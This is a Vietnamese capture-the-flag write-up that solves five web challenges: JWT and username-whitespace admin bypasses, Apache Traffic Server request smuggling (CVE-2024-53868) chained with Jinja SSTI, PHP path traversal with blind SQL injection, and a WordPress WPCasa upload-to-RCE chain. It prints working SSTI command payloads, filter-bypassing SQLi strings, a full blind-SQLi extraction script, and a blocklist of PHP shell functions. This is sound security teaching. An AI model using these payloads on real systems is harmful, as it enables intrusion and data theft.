# YDSYD ![image](https://hackmd.io/_uploads/SkVyXnRnge.png) Bài này cho ta một trang web với hai route: POST /login và POST /annyeong. Để có được flag thì ta cần quyền admin - `POST /login`: cho phép người dùng login và trả về JWT token chứa claims user, isAdmin. - `POST /annyeong` xác thực dựa vào trường header `Authorization: Bearer <JWT>` sau đó đọc JSON body và merge vào `configProto` của user. tiếp tục nó kiểm tra nếu `auth.isAdmin` True thì trả về flag, nếu không thì render `{{name}} says hello` bằng sandboxTemplate() với context là `userInfo.config.user` Lỗi ở đây là hàm `generateToken()` cho phép đăng nhập với tài khoản admin ![image](https://hackmd.io/_uploads/S1iVvnR3le.png) ![image](https://hackmd.io/_uploads/rJOnBnRnlx.png) ![image](https://hackmd.io/_uploads/B1etUhAhge.png) # Vibe coding ![image](https://hackmd.io/_uploads/H199P2R3ex.png) Chall này có hai service là `nodejs-server` được mở public, xử lý request từ người dùng và chuyển đến `python-server` - nơi xử lý logic thực tế các chức năng: ![image](https://hackmd.io/_uploads/HkIQdnChgg.png) Để lấy được flag thì ta cần gọi action `readFlag` nhưng cần quyền admin để thực hiện nó ![image](https://hackmd.io/_uploads/S1cmY3A2lg.png) xem tiếp cách nodejs xử lý tại `/action` - nó craft request và gửi tới `/execute` của python server ![image](https://hackmd.io/_uploads/ByyOFnRhee.png) python server xác thực admin bằng `username` ![image](https://hackmd.io/_uploads/S16kc30hlx.png) Nhưng đáng chú ý là khi xử lý dữ liệu, nó gọi hàm `strip()` ![image](https://hackmd.io/_uploads/Hy5Nq2Rhxx.png) => Vậy nếu mình reg user là `"admin "` (khoảng trắng phía sau) thì sao... Ngay lập tức mình kiểm chứng và xác nhận giả thuyết là đúng ![image](https://hackmd.io/_uploads/Syx9tq2Ange.png) ![image](https://hackmd.io/_uploads/H1a9qh0nlg.png) Vậy là mình đã lụm được flag ![image](https://hackmd.io/_uploads/S1Thch0hge.png) # ACL and H1 ![image](https://hackmd.io/_uploads/B1_kUU0nel.png) Bài này là một trang web Flask cho phép người dùng upload và render nội dung của file (text/html). Phía trước là `Apache Traffic Server` đóng vai trò làm reverse proxy. - tính năng upload đã whitelist chỉ cho phép hai extension là `.txt` và `.html`. File sau khi được upload có thể truy cập đến tại thư mục uploads như `/uploads/<session_id>/<randomname>.html` ![image](https://hackmd.io/_uploads/By2H_8Rnxg.png) - còn chức năng render thì dễ thấy đang bị dính SSTI khi render trực tiếp nội dung file bất kỳ ![image](https://hackmd.io/_uploads/Sk3RuDA2eg.png) Tuy nhiên nó chỉ có thể được truy cập từ bên trong mạng nội bộ bởi Apache Traffic Server được cấu hình rule như sau: ``` map /render http://gunicorn-server:8088/internal @action=deny @method=post @method=get # => chặn các request GET/POSt trực tiếp tới `/render` từ bên ngoài public map / http://gunicorn-server:8088/ ``` => Vậy mục tiêu sẽ là làm cách nào đó để truy cập được vào `/render` --- ## Phân tích Sau một hồi thì mình phát hiện ra `Apache Traffic Server` đang được sử dụng là phiên bản cũ (10.0.4) và có dính [CVE-2024-53868](https://nvd.nist.gov/vuln/detail/CVE-2024-53868) - lỗ hổng request-smuggling cho phép kẻ tấn công có thể bypass proxy bằng cách sử dụng `Chunked message body` và khiến request được forward tới localhost -> từ đó ta có thể gọi được `/render` Cụ thể lỗ hổng nằm ở cách Apache Traffic Server xử lý request có header `Transfer-Encoding: chunked`, khi gặp ký tự `\n` (khác `\r\n`) thì Apache Traffic Server coi nó là `"line terminator"`. Trong khi phía server thì chỉ coi nó như một byte bình thường trong chunk message. Từ đó dẫn tới sự không đồng bộ trong việc parsing giữa proxy và backend server => Cụ thể hơn mình tham khảo tại blog: [Funky chunks: abusing ambiguous chunk line terminators for request smuggling](https://w4ke.info/2025/06/18/funky-chunks.html) Follow theo bài viết mình thử craft được request sau: ![image](https://hackmd.io/_uploads/By_wbORhlg.png) Kiểm tra logs và xác nhận mình đã hit vào `/render` ![image](https://hackmd.io/_uploads/HkoOWOA2eg.png) vậy nhiệm vụ còn lại là payload SSTI để lấy flag, vì phần này không có filter gì nên mình sử dụng payload đơn giản ``` {{ lipsum.__globals__["os"].popen('cat /flag*').read() }} ``` Và vì cấu hình trong docker chặn internet, /render không hiển thị kết quả trả về nên mình ghi flag ra folder `/uploads` ![image](https://hackmd.io/_uploads/SJfcM_Cnxg.png) => Payload cuối cùng: ``` {{ lipsum.__globals__["os"].popen('cat /flag* > /app/uploads/fe882894cfd24fbdb4c2ac890f5958d7/flag.txt').read() }} ``` ## exploit ![image](https://hackmd.io/_uploads/SkumXuRhee.png) ![image](https://hackmd.io/_uploads/Sys8QuA3xe.png) ![image](https://hackmd.io/_uploads/rk35XuCnxg.png) ![image](https://hackmd.io/_uploads/Bkg-E_Rnll.png) ## referrences - https://w4ke.info/2025/06/18/funky-chunks.html - https://www.openwall.com/lists/oss-security/2025/04/02/4 - https://cybersecuritynews.com/apache-traffic-server-vulnerability/ # Data Lost Prevention ![image](https://hackmd.io/_uploads/SJm1H_Cnlg.png) Bài này cho ta trang web như sau ![image](https://hackmd.io/_uploads/SkZ6HdA3xx.png) Trong đó hai chức năng chính mình tập trung vào là `search` và `Export Logs` ![image](https://hackmd.io/_uploads/r1sWUO03xx.png) ![image](https://hackmd.io/_uploads/B1Oz8uChlx.png) ## Phân tích Trước hết với `Export logs` nội dung xử lý như sau: ```php= <?php declare(strict_types=1); $base = '/var/log/app/'; $file = $_GET['file'] ?? 'app.log'; while (str_contains($file, '../')) { $file = str_replace('../', '', $file); } if (!preg_match('/\.(log|txt)$/i', $file)) { http_response_code(400); exit('bad ext'); } $file2 = urldecode($file); $path = $base . $file2; $real = realpath($path); if ($real !== false && str_starts_with($real, $base)) { @readfile($real); exit; } if (str_starts_with($path, $base)) { @readfile($path); } else { http_response_code(403); echo 'forbidden'; } ``` Ở đây nó nhận một tham số `file` - xử lý input và trả về nội dung là kết quả của hàm `readfile()` Đáng chú ý là cách nó xử lý: filter chuỗi "../" rồi mới urldecode => Path Traversal, vậy ta có thể đọc file bất kỳ `.log`, `.txt` trong hệ thống bằng cách "double encoding" `../` ![image](https://hackmd.io/_uploads/BJle5_Rhgl.png) --- Tuy nhiên file flag được đặt tên random, nên mình cần phải tìm cách xác định được filename trước đã ```php= // init_flag.php //... $uuid = uuidv4(); $dir = '/var/data/flags'; @mkdir($dir, 0755, true); $flagPath = $dir . '/flag-' . $uuid . '.txt'; $flagVal = "KMACTF{hehe}\n"; file_put_contents($flagPath, $flagVal); $stmt = $pdo->prepare("INSERT INTO attachments(case_id, filename, storage_path, is_lost) VALUES (1, ?, ?, 1)"); $stmt->execute(['Q2-incident-raw.csv', $flagPath]); exit(0); ``` Từ `init_flag.php` có thể thấy sau khi gán tên random, filename ta cần tìm được lưu trong database tại field `storage_path` ### sqli to get flag path Còn lại chức năng tìm kiếm, nó gọi đến `/api/search.php?q=...` ![image](https://hackmd.io/_uploads/H1oAo_A2le.png) chi tiết phần xử lý của `search.php` như sau ```php= // ... $q = $_GET['q'] ?? ''; $q2 = preg_replace('/\s+/u', '', $q); $q2 = preg_replace('/\b(?:or|and)\b/i', '', $q2); $q2 = str_ireplace(["union","load_file","outfile","="], '', $q2); $filtered = $q2; if (strlen($filtered) > 90) { echo json_encode(['ok' => false]); exit; } $sql = "SELECT id,title FROM cases WHERE title RLIKE '.*$filtered' AND owner_id = :uid LIMIT 1"; $stmt = $pdo->prepare($sql); $stmt->execute([':uid' => $_SESSION['uid'] ?? 1]); $row = $stmt->fetch(); echo json_encode(['ok' => (bool)$row]); ``` Dễ thấy lỗi sql injection tại ![image](https://hackmd.io/_uploads/HJ9l2_R3xl.png) Nhưng để khai thác ta cần bypass filter đã, filter gồm: - không được có khoảng trắng (space) - không được chứa "or", "and" - không được chứa chuỗi `"union","load_file","outfile","="` Nếu match regex thì tự động xóa nó khỏi input. và điều kiện cuối là độ dài của chuỗi `filtered` không quá 90 ký tự. Kết quả trả về sau khi thực hiện query sẽ là `False` nếu query không lấy được kết quả hoặc mysql báo lỗi, và `True` cho phần còn lại ![image](https://hackmd.io/_uploads/HJSGIKR2xg.png) => Đây là blind boolean-based sqli: ``` aaa' or (select storage_path from attachments where storage_path like 'foo%');# ``` --- **Về phần bypass filter** - Với khoảng trắng: mình có thể dùng comment - `/**/`, backticks "\'\'", hoặc `()`... ``` select`name`from`table`where`foo`='bar'; select(name)from(users)where(foo='bar'); select/**/name/**/from/**/users/**/where/**/foo='bar'; ``` - Với OR/AND thì đơn giản là `||` và `&&` - Cuối cùng vì flag nằm ở bảng khác nên mình cần sử dụng `UNION`, và việc filter bằng cách replace như này rất không hiệu quả nên có thể bypass dễ với `unio=n` -> `union` Kết hợp tất cả những thứ trên, chỉnh sửa payload một chút để tối ưu độ dài Payload gốc: ``` _' or (select id from attachments where storage_path like 'foo%');# ``` > select id để tiết kiệm ký tự, và ta cũng chỉ cần quan tâm query có trả về kết quả hay không Payload cuối cùng; ``` _'||(select(id)from(attachments)where(`storage_path`LIKE'%{}%'));# ``` ## exploit - **solve.py** ```python= import requests import string charset = string.ascii_lowercase + string.digits + "/-." flag = "" tmp = "/var/data/flags/" burp0_url = "http://172.30.13.232:8081/api/search.php" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0", "Connection": "keep-alive"} session = requests.Session() if __name__ == "__main__": checked = 0 while True: for char in charset: payload = f"_'||(select(id)from(attachments)where(`storage_path`LIKE'%{tmp + char}%'));#" # qua 90 ky tu thi phai reset tmp if len(payload) >= 90 or ".txt" in tmp: if not checked: flag += tmp checked = 1 else: flag += tmp[5:] tmp = tmp[-5:] print(f"flag: {flag}") continue params = {"q":payload} try: r = session.get(burp0_url, headers=burp0_headers, params=params) if r.text.find('"ok":true') != -1: tmp += char print(f"found: {char}") print(f"flag: {tmp}") except Exception as e: raise "request failed." ``` > script hơi ngáo mong mọi người thông cảm:(( => có được flagPath `flag: /var/data/flags/flag-efe55260-88d8-4f0e-a586-76e560a8fe71.txt` ![image](https://hackmd.io/_uploads/B192rKR3gl.png) # CVE-2025-93XX ![image](https://hackmd.io/_uploads/Bkna6KC2ex.png) Bài này cho ta source wordpress hoàn chỉnh kèm hai plugin là `Safe PHP Class Upload` và `WPCasa` - v1.4.1 Thu thập các dữ liệu trên site chính mình biết được một số thông tin vể server và tiến hành build lại môi trường ``` Apache/2.4.65 (Debian) Server port 80 PHP/8.4.13 ``` ![image](https://hackmd.io/_uploads/H1b9jqR2lg.png) ## Phân tích ### WPCasa - CVE-2025-9321 Ta nhanh chóng xác định được plugin này đang sử dụng version 1.4.1, kết hợp với tiêu đề của chall thì thấy đây là CVE-2025-9321 ![image](https://hackmd.io/_uploads/SJJQ29R2ee.png) theo mô tả của CVE thì root-cause được xác định là hàm `api_requests()` - `class-wpsight-api.php` không xử lý input người dùng hợp lý dẫn tới việc kẻ tấn công có thể RCE ```php= // ... public function api_requests() { global $wp; if ( ! empty( $_GET['wpsight-api'] ) ) $wp->query_vars['wc-api'] = sanitize_text_field( $_GET['wpsight-api'] ); if ( ! empty( $wp->query_vars['wc-api'] ) ) { // Buffer, we won't want any output here ob_start(); // Get API trigger $api = strtolower( esc_attr( $wp->query_vars['wpsight-api'] ) ); // Load class if exists if ( class_exists( $api ) ) $api_class = new $api(); // Trigger actions do_action( 'wpsight_api_' . $api ); // Done, clear buffer and exit ob_end_clean(); die('1'); } } } ``` ở đây mình thấy được hai sink nguy hiểm là ![image](https://hackmd.io/_uploads/rJu665Anll.png) - về `do_action()` trong WordPress sẽ kích hoạt tất cả các action hook đã được đăng ký với `add_action()` và lần lượt thực thi các callback tương ứng -> nếu có action nào nguy hiểm thì ta có thể tận dụng - nhưng trong trường hợp này chỉ có thể control được phần suffix (`'wpsight_api_'.$api`) nên bỏ qua - dòng `if ( class_exists( $api ) ) $api_class = new $api();`. Vì `class_exists()` mặc định gọi autoloaders nếu class chưa được khai báo, autoloader sẽ dựa vào mapping để tìm file tương ứng tồn tại rồi require nó và class đó xuất hiện trong runtime. tiếp theo `new $api()` sẽ khởi tạo instance và gọi `__construct()` -> do vậy mình có thể lợi dụng những class có sẵn mà có constructor nguy hiểm để ép server load và thực thi code. Ngoài ra khi diff với source gốc của WPCasa mình phát hiện ở challenge có sự khác biệt tại `wpcasa.php` ![image](https://hackmd.io/_uploads/HkrzPoCnlx.png) ```php= foreach (glob(WPSIGHT_PLUGIN_DIR . '/../../../uploads_safe_classes' . '/*') as $file) { if (basename($file) === '.htaccess') { continue; } $output = shell_exec("php -l " . escapeshellarg($file) . " 2>&1"); if (strpos($output, 'No syntax errors detected') !== false) { try { include $file; } catch (Throwable $e) { continue; } } } ``` cụ thể nó sẽ duyệt qua các file trong thư mục `uploads_safe_classes` và kiểm tra nếu cú pháp hợp lệ (`php -l`) thì sẽ tự động include file => class sẽ có trong runtime => Vậy cuối cùng mình có thể gọi được cả những class trong folder `uploads_safe_classes/` ### Safe PHP Class Upload ![image](https://hackmd.io/_uploads/HyXlpi0hxx.png) Plugin này đăng ký một REST api route `/safe-upload/v1/upload` cho phép người dùng bất kỳ gọi tới (`'permission_callback' => '__return_true'`) Hàm `handle_upload()` xử lý file được upload lên với filter như sau ```php= private function has_dangerous_tokens($content) { $dangerous = array( 'exit(', 'die(', 'file(', 'echo(', 'print(', 'printf(', 'print_r(', 'var_dump(', 'var_export(', 'debug_zval_dump(', 'encode(', 'decode(', 'exec(', 'system(', 'shell_exec(', 'passthru(', 'proc_open(', 'eval(', 'assert(', '`', 'contents(', 'open(', 'bin2hex(', 'serialize(', 'htmlspecialchars(', 'htmlentities(', 'unlink(', 'rename(', 'goto ', 'new ', 'copy (' ); $hay = strtolower($content); foreach ($dangerous as $tok) { if (strpos($hay, $tok) !== false) return $tok; } return false; } ``` Nếu nội dung file chứa blacklist trên thì sẽ từ chối, độ dài không được quá 64 ký tự. File được upload sẽ đưa vào thư mục `uploads_safe_classes/` => Lúc này mọi dữ kiện đã liên kết với nhau, nếu mình có thể bypass filter và upload được file chứa payload thì sẽ có thể load và thực thi mã trong constructor ## exploit để bypass length-limit mình sử dụng payload: ![image](https://hackmd.io/_uploads/HJLil20hxl.png) Tiếp tục là upload file tại `POST /safe-upload/v1/upload` hoặc `POST /?rest_route=/safe-upload/v1/upload` ![image](https://hackmd.io/_uploads/B1gpl3C3xg.png) Cuối cùng load class của mình và RCE ![image](https://hackmd.io/_uploads/Bkth-n03ll.png) ![image](https://hackmd.io/_uploads/SJ-GzhC3xg.png)